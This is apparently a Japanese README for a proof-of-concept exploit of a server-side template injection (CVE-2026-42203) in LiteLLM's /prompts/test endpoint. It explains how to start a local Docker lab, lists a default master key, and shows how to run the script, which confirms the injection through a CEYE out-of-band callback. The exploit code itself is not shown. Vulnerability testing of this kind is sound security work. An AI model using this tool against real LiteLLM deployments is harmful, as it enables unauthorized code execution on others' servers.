
CVE-2026-42203の概念実証エクスプロイト。これはLiteLLMの/prompts/testエンドポイントにおけるサーバーサイドテンプレートインジェクションの脆弱性であり、ローカルDockerラボのセットアップとCEYEコールバック検証を備えています。
本書では、ローカルでLiteLLM環境を起動し、CVE-2026-42203.pyを実行して/prompts/testのSSTI脆弱性を検証する方法を説明します。
許可されたローカル実験環境でのみ使用してください。スクリプトを許可されていない公開ネットワークのターゲットに向けないでください。
Labディレクトリに移動し、LiteLLM、Postgres、Prometheusを起動します:
docker compose up -d
コンテナの状態を確認:
docker compose ps
サービスがアクセス可能かを確認:
curl http://127.0.0.1:4000/
Master_Keyのデフォルト値:sk-master-test-key-1234
コマンドライン引数で渡す:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
各変数の説明:
LITELLM_API_KEY:LiteLLMのアクセスキー。ローカルDocker環境では通常、.env内のLITELLM_MASTER_KEYに対応します。CEYE_DOMAIN:あなたのCEYEサブドメイン。例:xxxxxx.ceye.io。CEYE_TOKEN:CEYE APIトークン。コールバックレコードの問い合わせに使用します。完全な例:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--target http://127.0.0.1:4000 \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
主要なパラメータ:
--target:LiteLLMサービスのアドレス。デフォルトはhttp://127.0.0.1:4000。--auth / --api-key:/prompts/testを呼び出す際に使用するLiteLLMキー。--ceye-domain:CEYEコールバックドメイン。--ceye-token:CEYE APIトークン。スクリプト出力時に自動的にマスク表示されます。--wait:CEYEコールバックを待機する秒数。デフォルトは20。--interval:CEYEレコードをポーリングする間隔(秒)。デフォルトは3。--timeout:HTTPリクエストのタイムアウト時間。デフォルトは10秒。--insecure:ターゲットが自己署名HTTPS証明書を使用している場合にこのパラメータを追加し、TLS証明書の検証を無効にします。CEYEがコールバックを受信した場合、スクリプトは次のように出力します:
[VULNERABLE] CEYE received the callback request.
待機時間内にコールバックを受信しなかった場合、スクリプトは次のように出力します:
[NOT_VULNERABLE] CEYE did not receive the callback request within the wait window.